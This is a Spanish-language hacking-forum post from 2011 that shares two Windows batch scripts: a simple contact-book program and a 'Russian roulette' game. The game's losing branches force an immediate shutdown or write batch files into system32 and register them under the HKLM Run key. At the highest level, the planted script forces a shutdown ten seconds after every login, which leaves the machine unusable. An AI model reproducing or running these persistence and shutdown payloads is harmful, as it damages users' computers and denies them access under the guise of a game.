help_outline
Ayudanos!
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Agenda Numa

  • 0 Respuestas
  • 1912 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5428
  • Actividad:
    36.67%
  • Reputación 33
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Julio 18, 2011, 10:34:02 pm »
Código: DOS
  1. @echo off
  2. title  Agenda
  3. color 0c
  4. md c:\agenda
  5. cd c:\agenda
  6.  
  7. :start
  8. cls
  9. echo                      ============================
  10. echo                       Bienvenido a la Agenda Numa
  11. echo                      ============================
  12. echo         Que desea hacer?
  13. echo         1 --- Agregar contacto
  14. echo         2 --- Abrir contacto
  15. echo         3 --- Eliminar contacto
  16. echo         4 --- Salir de la agenda
  17. echo         5 --- Eliminar la agenda de mi pc
  18. set opc=
  19. set /p opc=
  20. if "%opc%"=="" goto error
  21. if %opc%==1 goto agregar
  22. if %opc%==2 goto abrir
  23. if %opc%==3 goto eliminar
  24. if %opc%==4 goto salir
  25. if %opc%==5 (goto delagenda) else goto error
  26.  
  27. :error
  28. cls
  29. echo ERROR !!!
  30. echo. Presione cualquier tecla para intentarlo otra vez
  31. goto start
  32.  
  33.  
  34. :agregar
  35. cls
  36. echo                      =================
  37. echo                       Agregar contacto
  38. echo                      =================
  39. echo Escriba el nombre corto (nick) del nuevo contacto:
  40. set /p nick=
  41. set respuesta=
  42. echo Esta seguro que quiere guardar a %nick% como contacto?    s/n
  43. set /p respuesta=
  44. if "%respuesta%"=="" goto error2
  45. if %respuesta%==s goto aceptar
  46. if %respuesta%==n (goto 111) else goto error2
  47.  
  48. :111
  49. cls
  50. echo Bueno, ten mas cuidado la proxima vez
  51. echo Pulsa cualquier tecla para intentarlo otra vez
  52. goto agregar
  53.  
  54.  
  55. :error2
  56. cls
  57. echo ERROR !!!
  58. echo. Presione cualquier tecla para intentarlo otra vez
  59. goto agregar
  60.  
  61.  
  62. :aceptar
  63. cls
  64. echo cls > %nick%.txt
  65. echo Guardando contacto. El proceso puede tardar unos segundos...
  66. echo Proceso ---           (33)           ---
  67. ping 127.0.0.1 -n 3 > nul&goto sig
  68. :sig
  69. cls
  70. echo Guardando contacto. El proceso puede tardar unos segundos...
  71. echo Proceso --- ---       (66)       --- ---
  72. ping 127.0.0.1 -n 3 > nul&goto sig2
  73. :sig2
  74. cls
  75. echo Guardando contacto. El proceso puede tardar unos segundos...
  76. echo Proceso --- --- ---   (99)   --- --- ---
  77. ping 127.0.0.1 -n 3 > nul&goto fin
  78. :fin
  79. cls
  80. echo Proceso finalizado
  81. echo Contacto guardado satisfactoriam ente
  82. echo Espere un momento por favor...
  83. ping 127.0.0.1 -n 7 > nul&goto 01
  84.  
  85. :01
  86. cls
  87. echo NOTA: En el caso de que no sepas un dato escribe la palabra (vacio)
  88. echo Ingresa los siguientes datos:
  89. set /p nom=Nombres:
  90. set /p ape=Apellidos:
  91. set /p edad=Edad:
  92. set /p tel=Telefono:
  93. set /p mail=E-mail:
  94. set res=
  95. echo Esta seguro que desea guardar esos datos de %nick%?    s/n  
  96. set /p res=
  97. if "%res%"=="" goto error3
  98. if %res%==s goto aceptar2
  99. if %res%==n (goto 000) else goto error3
  100.  
  101. :error3
  102. cls
  103. echo ERROR !!!
  104. echo. Presione cualquier tecla para intentarlo otra vez
  105. goto 01
  106.  
  107. :000
  108. cls
  109. echo Bueno, ten mas cuidado la proxima vez
  110. echo Pulsa cualquier tecla para intentarlo otra vez
  111. goto 01
  112.  
  113.  
  114. :aceptar2
  115. cls
  116. echo Nombres: %nom% > %nick%.txt
  117. echo Apellido: %ape% >> %nick%.txt
  118. echo Edad: %edad% >> %nick%.txt
  119. echo Telefono: %tel% >> %nick%.txt
  120. echo E-mail: %mail% >> %nick%.txt
  121. echo Se estan guardando los datos del contacto. El proceso puede tardar unos segundos...
  122. echo Proceso ---           (33)           ---
  123. ping 127.0.0.1 -n 3 > nul&goto sig0
  124. :sig0
  125. cls
  126. echo Se estan guardando los datos del contacto. El proceso puede tardar unos segundos...
  127. echo Proceso --- ---       (66)       --- ---
  128. ping 127.0.0.1 -n 3 > nul&goto sig02
  129. :sig02
  130. cls
  131. echo Se estan guardando los datos del contacto. El proceso puede tardar unos segundos...
  132. echo Proceso --- --- ---   (99)   --- --- ---
  133. ping 127.0.0.1 -n 3 > nul&goto fin0
  134. :fin0
  135. cls
  136. echo Proceso finalizado
  137. echo Datos guardados satisfactoriam ente
  138. echo Espere un momento por favor...
  139. ping 127.0.0.1 -n 7 > nul&goto start
  140.  
  141. :abrir
  142. cls
  143. echo                       ===============
  144. echo                        Abrir contacto
  145. echo                       ===============
  146. echo Escriba el nombre corto (nick) del contacto:
  147. set /p nick1=
  148. if exist %nick1%.txt goto abrir1
  149. if not exist %nick1%txt echo El contacto no existe, presione cualquier tecla para intentarlo de nuevo&pause > nul&goto abrir
  150.  
  151. :abrir1
  152. cls
  153. echo %nick1%:
  154. more %nick1%.txt
  155. echo Presiona cualquier tecla para volver al menu principal
  156. goto start
  157.  
  158. :eliminar
  159. cls
  160. echo                       =================
  161. echo                       Eliminar contacto
  162. echo                       =================
  163. echo Escriba el nombre corto (nick) del contacto que desea eliminar:
  164. set /p del=
  165. set rta=
  166. cls
  167. echo                               PRECAUCION !!!
  168. echo Esta seguro que desea eliminar a %del% y todos sus datos?    s/n
  169. set /p rta=
  170. if "%rta%"=="" goto error4
  171. if %rta%==s goto borrar
  172. if %rta%==n (goto 0000) else goto error4
  173.  
  174. :error4
  175. cls
  176. echo ERROR !!!
  177. echo. Presione cualquier tecla para intentarlo otra vez
  178. goto eliminar
  179.  
  180. :0000
  181. cls
  182. echo Bueno, ten mas cuidado la proxima vez
  183. echo Pulsa cualquier tecla para intentarlo otra vez
  184. goto eliminar
  185.  
  186.  
  187. :borrar
  188. cls
  189. del %del%.txt
  190. echo Se esta borrando el contacto %del%. El proceso puede tardar unos segundos...
  191. echo Proceso ---           (33)           ---
  192. ping 127.0.0.1 -n 3 > nul&goto sig01
  193. :sig01
  194. cls
  195. echo Se esta borrando el contacto %del%. El proceso puede tardar unos segundos...
  196. echo Proceso --- ---       (66)       --- ---
  197. ping 127.0.0.1 -n 3 > nul&goto sig021
  198. :sig021
  199. cls
  200. echo Se esta borrando el contacto %del%. El proceso puede tardar unos segundos...
  201. echo Proceso --- --- ---   (99)   --- --- ---
  202. ping 127.0.0.1 -n 3 > nul&goto fin01
  203. :fin01
  204. cls
  205. echo Proceso finalizado
  206. echo El contacto %del% se ha borrado satisfactoriam ente
  207. echo Espere un momento por favor...
  208. ping 127.0.0.1 -n 7 > nul&goto start
  209.  
  210. :delagenda
  211. cls
  212. rd c:\agenda
  213. echo     ME MUEROOO
  214. ping 127.0.0.1 -n 2 > nul&sig11
  215. :sig11
  216. cls
  217. echo     me muerooo
  218. ping 127.0.0.1 -n 2 > nul&sig22
  219. :22
  220. cls
  221. echo     ... ..........
  222. ping 127.0.0.1 -n 2 > nul&out
  223. :out
  224. cls
  225. echo Se ha borrado la Agenda de Numa del directorio "c:\"
  226. ping 127.0.0.1 -n 4 > nul&out2
  227. :out2
  228. cls
  229. echo                   FUCK YOU !!!                                                                                                                                                                                                                                                    
  230. ping 127.0.0.1 -n 3 > nul&goto start
  231.  
  232.  
  233. :salir
  234. cls
  235. echo Espero haberte servido de algo
  236. echo Presiona cualquier tecla para salir.
  237.  
  238.  
  239.  
  240.  
  241.  
  242.  
  243. Ruleta rusa:
  244.  
  245. @echo off
  246. cls
  247. title Ruleta rusa por (NumaH)
  248. color 30
  249.  
  250. :start
  251. cls
  252. echo Hola, te comento que esto es una ruleta rusa en batch:
  253. echo Reglas: 6 posibilidades. 1 es la incorrecta.
  254. echo             En caso de elegir la incorrecta se aplicara la pena.
  255. echo Es simple. Quieres jugar?       s/n
  256. set rta1=
  257. set /p rta1=
  258. if "%rta1%"=="" goto error1
  259. if %rta1%==s goto sig1
  260. if %rta1%==n (goto no1) else goto error1
  261.  
  262. :error1
  263. cls
  264. echo ERROR !!!  No presionaste nada
  265. echo Pulsa cualquier tecla para intentarlo nuevamente
  266. goto start
  267.  
  268. :no1
  269. cls
  270. echo Respeto tu decision, es un juego peligroso hasta la proxima..
  271. echo Presiona cualquier tecla para salir
  272.  
  273. :sig1
  274. cls
  275. echo Muy bien. Estos son los niveles de riesgo:
  276. echo 1 --- Nivel principiante
  277. echo 2 --- Nivel medio
  278. echo 3 --- Nivel avanzado
  279. echo Elije uno y te dara detalles del juego antes de comenzar
  280. set rta2=
  281. set /p rta2=
  282. if "%rta2%"=="" goto error2
  283. if %rta2%==1 goto nw
  284. if %rta2%==2 goto ama
  285. if %rta2%==3 (goto pro) else goto error2
  286.  
  287. :error2
  288. cls
  289. echo ERROR !!!  No presionaste nada
  290. echo Pulsa cualquier tecla para intentarlo nuevamente
  291. goto sig1
  292.  
  293. :nw
  294. cls
  295. echo Bien, por este nivel empiezan los primeros.
  296. echo Consecuencias:
  297. echo Si llegas a elegir la opcion falsa tu maquina se apagara.
  298. echo Quieres jugar?          s/n
  299. set rta3=
  300. set /p rta3=
  301. if "%rta3%"=="" goto error3
  302. if %rta3%==s goto sig3
  303. if %rta3%==n (goto no3) else error3
  304.  
  305. :error3
  306. cls
  307. echo ERROR !!!  No presionaste nada
  308. echo Pulsa cualquier tecla para intentarlo nuevamente
  309. goto nw
  310.  
  311. :no3
  312. cls
  313. echo Esta bien. Esto no es para ti
  314. echo Presiona cualquier tecla para salir
  315.  
  316. :sig3
  317. cls
  318. echo Elige un numero entre 1 y 6
  319. set nw1=
  320. set /p nw1=
  321. if "%nw1%"=="" goto errornw
  322. if %nw1%==4 goto lose
  323. if %nw1%==1 goto win
  324. if %nw1%==2 goto win
  325. if %nw1%==3 goto win
  326. if %nw1%==5 goto win
  327. if %nw1%==6 (goto win) goto errornw
  328.  
  329. :errornw
  330. cls
  331. echo ERROR !!!  No presionaste nada
  332. echo Pulsa cualquier tecla para intentarlo nuevamente
  333. goto sig3
  334.  
  335. :win
  336. cls
  337. echo Bien te has salvado.
  338. echo Pasa al nivel MEDIO si quieres mas adrenalina
  339. echo Presiona cualquier tecla para volver al menu principal
  340. goto start
  341.  
  342. :lose
  343. cls
  344. shutdown -s -f -t 5 -c "Que mala suerte eh"
  345.  
  346. :ama
  347. cls
  348. echo Bien, veo que eres algo curioso
  349. echo Consecuencias:
  350. echo Si llegas a elegir la opcion falsa siempre que inicies
  351. echo tu pc, te saldra un cartelito que diga:
  352. echo "Gracias por jugar a Ruleta rusa por (NumaH)"
  353. echo Quieres jugar?          s/n
  354. set rta4=
  355. set /p rta4=
  356. if "%rta4%"=="" goto error4
  357. if %rta4%==s goto sig4
  358. if %rta4%==n (goto no4) else error4
  359.  
  360. :error4
  361. cls
  362. echo ERROR !!!  No presionaste nada
  363. echo Pulsa cualquier tecla para intentarlo nuevamente
  364. goto ama
  365.  
  366. :no4
  367. cls
  368. echo Te comprendo es bastante molesto el cartel
  369. echo Pero hay que arriesgarse en la vida alguna vez
  370. echo Presiona cualquier tecla para salir
  371.  
  372. :sig4
  373. cls
  374. echo Elige un numero entre 1 y 6
  375. set ama1=
  376. set /p ama1=
  377. if "%ama1%"=="" goto errorama
  378. if %ama1%==2 goto loseama
  379. if %ama1%==1 goto winama
  380. if %ama1%==4 goto winama
  381. if %ama1%==3 goto winama
  382. if %ama1%==5 goto winama
  383. if %ama1%==6 (goto winama) goto errorama
  384.  
  385. :errorama
  386. cls
  387. echo ERROR !!!  No presionaste nada
  388. echo Pulsa cualquier tecla para intentarlo nuevamente
  389. goto sig4
  390.  
  391. :winama
  392. cls
  393. echo Bien te has salvado.
  394. echo Pasa al nivel AVANZADO si quieres mas adrenalina
  395. echo Presiona cualquier tecla para volver al menu principal
  396. goto start
  397.  
  398. :loseama
  399. cls
  400. echo La verdad que tienes mala suerte
  401. echo @echo off > %windir%\system32\cartel.bat
  402. echo cls >> %windir%\system32\cartel.bat
  403. echo msg * "Gracias por jugar a Ruleta rusa por (NumaH)" >> %windir%\system32\cartel.bat
  404. echo exit >> %windir%\system32\cartel.bat
  405. reg add "hklm\software\microsoft\windows\currentversion\run" /v Cartel /d %windir%\system32\cartel.bat /f
  406. echo Tendras que soportar el cartel hasta que descubras como se quita
  407. echo Presiona cualquier tecla para salir y empezar a buscar la solucion
  408. start www.google.com .ar&exit
  409.  
  410. :pro
  411. cls
  412. echo VALIENTE este es el nivel de mayor riesgo
  413. echo Consecuencias:
  414. echo Si llegas a elegir la opcion falsa se apagara
  415. echo tu pc y no podras tenerla encendida mas de
  416. echo 10 segundos en tus proximos inicios de sesion
  417. echo Realmente quieres jugar?    s/n
  418. set rta5=
  419. set /p rta5=
  420. if "%rta5%"=="" goto error5
  421. if %rta5%==s goto sig5
  422. if %rta5%==n (goto no5) else error5
  423.  
  424. :error5
  425. cls
  426. echo ERROR !!!  No presionaste nada
  427. echo Pulsa cualquier tecla para intentarlo nuevamente
  428. goto pro
  429.  
  430. :no5
  431. cls
  432. echo Comprendo que es bastante riesgoso
  433. echo Bueno, hasta la proxima entonces
  434. echo Presiona cualquier tecla para salir
  435.  
  436. :sig5
  437. cls
  438. echo A ti si que te gusta estar en el limite !!!
  439. echo Elige un numero entre 1 y 6
  440. set pro1=
  441. set /p pro1=
  442. if "%pro1%"=="" goto errorpro
  443. if %pro1%==3 goto losepro
  444. if %pro1%==1 goto winpro
  445. if %pro1%==4 goto winpro
  446. if %pro1%==2 goto winpro
  447. if %pro1%==5 goto winpro
  448. if %pro1%==6 (goto winpro) goto errorpro
  449.  
  450. :errorpro
  451. cls
  452. echo ERROR !!!  No presionaste nada
  453. echo Pulsa cualquier tecla para intentarlo nuevamente
  454. goto sig5
  455.  
  456. :winpro
  457. cls
  458. echo Sientete aliviado, TE HAS SALVADO
  459. echo Presiona cualquier tecla para salir
  460.  
  461. :losepro
  462. cls
  463. echo Siento pena por ti  : (
  464. echo @echo off > %windir%\system32\malo.bat
  465. echo cls >> %windir%\system32\malo.bat
  466. echo shutdown -s -f -t 10 -c "TU HAS ELEGIDO ESTO" >> %windir%\system32\malo.bat
  467. echo exit >> %windir%\system32\malo.bat
  468. reg add "hklm\software\microsoft\windows\currentversion\run" /v Fucker /d %windir%\system32\malo.bat /f
  469. shutdown -s -f -t 3 -c "Lo lamento..."
  470.  


 

¿Te gustó el post? COMPARTILO!



Agenda en Batch by Hendrix

Iniciado por ANTRAX

Respuestas: 3
Vistas: 2527
Último mensaje Julio 18, 2011, 08:54:43 pm
por JaAViEr
Agenda en Batch by M_BuRNeD

Iniciado por ANTRAX

Respuestas: 1
Vistas: 1643
Último mensaje Julio 18, 2011, 08:51:00 pm
por JaAViEr
Agenda de Direcciones

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2087
Último mensaje Julio 18, 2011, 10:18:44 pm
por ANTRAX